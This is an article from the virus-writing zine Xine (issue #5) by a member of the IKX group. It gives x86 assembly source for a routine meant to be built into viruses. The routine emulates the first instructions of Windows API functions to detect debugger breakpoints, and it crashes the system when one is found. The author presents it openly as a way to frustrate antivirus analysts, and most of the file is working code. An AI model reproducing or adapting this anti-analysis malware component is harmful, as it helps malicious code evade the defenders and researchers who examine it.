

                                             ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
                                             ³ Xine - issue #5 - Phile 302 ³
                                             ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ





;
;       Well, i hope you've read my lil doc about anti debugging. 
;
;       This code shows how to make it more difficult for AV's to breakpoint
;       the API's you use.
;
;       *How it works:
;
;       *Functional:
;
;       Well, a breakpoint (in softice) is just an INT3 on the entry of the
;       API. You say 'bpx loadlibrarya' to softice, softice looks in the dlls
;       defined in winice.ini for loadlibrarya, and it puts an INT3 there.
;
;       The following code looks for an INT3 in the API you call, not only
;       on the start of the api, but it traces and emulates into the API,
;       so AVs have something more to do.
;
;       *Technical:
;
;       In your virus you normally have a table, filled up with RVA's of the
;       APIs you wanna use. They are all 4 bytes, all are 'apiname dd 0h'.
;
;       With this code you have to do it in another way: In stead of
;       'apiname dd 0h', you have 'Apiname equ entrynumber'. Well, entry no.
;       is an entry into the api table. 0 is api 0, 1 is api 1, etc.
;
;       You use the macro 'calls' in this way: calls apiname. the macro named
;       "calls" creates this code:
;
;       call    stealthcallapi          ;the normal sub
;       db      apinamenumber
;
;       So lets say you want to call the 3th entry in your table, because
;       it is messageboxa
;
;       you have somewhere the equ      'iMessageBoxA equ 3'. You do a
;       'calls iMessageBoxA', and the result is
;
;       call    stealthcallapi
;       db      3
;
;       mmm ok? i'm not good at explaining things but i'm doing my best ;)
;
;       oki, stealthcallapi checks the byte after the call (so you are
;       "limited" to 256 API's ;), it looks up the offset in the table, and
;       then it is going to look around a bit into the api code. It emulates
;       the found opcode. If the found opcode is an int3, it will halt the
;       PC. If the humble disassembler isn't able to disassemble/trace further,
;       it will continue to execute the real code of the api at the point
;       where it got lost.
;
;       it is also possible to call a normal routine, using callapi, and in
;       eax you have to put the offset of the code you wanna execute.
;       
;       *Weak point(s)
;
;       AV can breakpoint on the place where the tracer returns to the real
;       API code. Not very dangerous, but he can look for the return add. on
;       the stack, to breakpoint after the stealthcallapi-call. So it can be
;       smart to do a checksum of your code everytime you call stealthcall
;       api (insert the checksum code there). With checksumming you can find
;       INT3's in your code, and crash it...
;       
;       mmm.. i hope you understood it ;)
;
;       lifewire / being a proud member of IKX

.386p
.model flat

        extrn ExitProcess:PROC;
        extrn GetModuleHandleA:proc;
        extrn GetLastError:proc;

calls   macro   function                ;api stealth macro
        call    stealthcallapi
        db      function
endm

LoadLibraryA    equ     0
GetProcAddress  equ     1

;----------------------------------------------------------------------------;
_CODE   segment dword use32 public 'CODE'

start:
        int     3

        xor     ebp,ebp

        push    offset namepje 
        calls   LoadLibraryA

        push    offset nametoimport
        push    eax
        calls   GetProcAddress
      
        push    0
        push    offset namepje
        push    offset namepje
        push    0
        call    callapi                 ;messageboxa

        int     3

        Push    0
        Call    ExitProcess

namepje db      "user32.dll",0          ;name of dll to loadlib.
nametoimport    db      "MessageBoxA",0 ;name of api to call

db      "LW-AT-"
db      (offset  endtracer-offset stealthcallapi)/100 mod 10 + "0"
db      (offset  endtracer-offset stealthcallapi)/010 mod 10 + "0"
db      (offset  endtracer-offset stealthcallapi)/001 mod 10 + "0"

;----------------------------------------------------------------------------;
;
; Works a lil like VxDCall works:
;
; Needs function byte after the call... when called, esp points to the return
; address so its quite easy to get it.
;
; And this one gets the address of the api & calls 'callapi' with the address
;
stealthcallapi:
        mov     eax,[esp]               ;return adress
        inc     dword ptr [esp]         ;increase return add
        movzx   eax,byte ptr [eax]
        mov     eax,dword ptr [ebp+apitbl+eax*4]

;----------------------------------------------------------------------------;
;
; This routine emulates a part of the api that is called, so BPX's at API's
; (e.g. BPX GetModuleHandleA) will be caught... and often something as
; BPX GetModuleHandleA+1 too... until the emulated opcode isn't understandable
; for the emulator... then it 'jmps' to the offset inside the API where the
; emulator got lost...
;
; It emulates pretty long, in NT, 9x, 2k & ME an average of 5 instructions.
; not bad for such small code, erh?
;
; use it in your own code too, its annoying for AV's I hope :)
;
; (Breaking API's is less easy, your source looks good or even better, and
;  the result is even anti disassembling/debugging because the calls don't
;  really return after the call opcode, and even while tracing in softice
;  it sucks because you can't just press f10:)
;
; emulates the most common opcodes you find at the start of an API:
;
;       sub     reg32,samereg32 (often used to zero a reg (EDX) for SEH)
;       push    reg32           (often a push edi)
;       push    byte
;       push    dword           (often the address of a SEH-handler)
;       mov     reg32,reg32     (often ebp,esp, and more)
;       nop
;       int     3               (if found it's time to crash)
;       mov     dword ptr fs:[reg32],esp  (SEH)
;       push    dword ptr fs:[reg32]      (SEH)  
;
;
;
; Needs         EAX : START OF CODE
;

callapi:

        mov     ecx,ebp
        lea     ebp,[ebp+regstate]
        mov     [ebp+3*4],ebx                   ;save the preserved registers:
        mov     [ebp+5*4],ecx ;ecx=ebp          ;ebx,esi,edi and ebp
        mov     [ebp+6*4],esi                   
        mov     [ebp+7*4],edi

traceapi:
        mov     [ebp+4*4],esp                   ;only esp isn't emulated but
        movzx   ebx,word ptr [eax]              ;real..

        cmp     bl,02bh
        je      subsomething

        cmp     bl,50h                          ;push reg  = 50 .. 57
        jb      WeAreLost                       ;push byte = 6a
                                                ;push dwor = 68
        cmp     bl,58h
        jb      pushregister

        cmp     bl,6ah
        je      pushbyte

        cmp     bl,68h
        je      pushdword

        cmp     bl,08bh
        je      movreg

        cmp     bl,90h
        je      nopje

        cmp     bl,0cch                         ;wooh ;) a breakpoint
        je      killhim

        cmp     bl,064h
        je      maybesomethingwithseh

        jmp     WeAreLost

pushregister:
        movzx   ebx,bl
        sub     bl,50h
        push    dword ptr [ebp+ebx*4]
        inc     eax
        jmp     traceapi

pushbyte:
        movzx   ebx,bh                          ;ebx = dword<-byte to push
        push    ebx
        inc     eax
        inc     eax
        jmp     traceapi

pushdword:
        push    dword ptr [eax+1]
        add     eax,5
        jmp     traceapi

nopje:
        inc     eax
        jmp     traceapi

killhim:                                        ;bye bye av
        xor     eax,eax
        mov     fs:[eax],eax
        xor     esp,esp                         ;doesn't reveal too much even
        jmp     esp                             ;with FAULTS ON (empty stack)
                                                
subsomething:
        cmp     bh,0c0h
        jb      WeAreLost

        mov     ch,bh
        and     ch,111000b
        and     bh,111b
        shr     ch,3
        cmp     bh,ch                           ;are src- & dst-reg the same?
        jne     WeAreLost

        movzx   ebx,bh
        xor     ecx,ecx
        mov     dword ptr [ebp+ebx*4],ecx
        inc     eax
        inc     eax
        jmp     traceapi

movreg:
        cmp     bh,0c0h
        jb      WeAreLost

        mov     ch,bh
        and     ch,111000b
        and     bh,000111b
        shr     ch,3
        movzx   ecx,ch
        movzx   ebx,bh

        push    dword ptr [ebp+ebx*4]
        pop     dword ptr [ebp+ecx*4]

        inc     eax
        inc     eax
        jmp     traceapi

maybesomethingwithseh:
        mov     bx,word ptr [eax+1]
        cmp     bl,0ffh
        je      pushfssetupseh

        cmp     bx,2289h
        jne     WeAreLost

        mov     dword ptr fs:[0],esp
        add     eax,3
        jmp     traceapi
        
pushfssetupseh:
        sub     bh,30h
        cmp     bh,8
        ja      WeAreLost

        push    dword ptr fs:[0]
        add     eax,3
        jmp     traceapi

WeAreLost:

        push    eax                             ;eax = place to jmp, but
                                                ;eax may have another value
        mov     eax,[ebp+0*4]
        mov     ecx,[ebp+1*4]
        mov     edx,[ebp+2*4]
        mov     ebx,[ebp+3*4]
        mov     esi,[ebp+6*4]
        mov     edi,[ebp+7*4]
        mov     ebp,[ebp+5*4]                   ;ofcourse as last!

        ret                                     ;place to jmp
endtracer:
;----------------------------------------------------------------------------;

                ;fill in this table with offsets of apis...
                ;(it is virus orientated)

apitbl:
        dd      0bff776d0h                      ;LoadLibraryA
        dd      0bff76da8h                      ;GetProcAddress

regstate db     8 dup (012h,34h,56h,78h)


apiend:

_CODE   ends
;----------------------------------------------------------------------------;

;----------------------------------------------------------------------------;
_DATA   segment dword use32 public 'DATA'
fill    db      ?
_DATA   ends
;----------------------------------------------------------------------------;

end     start
end
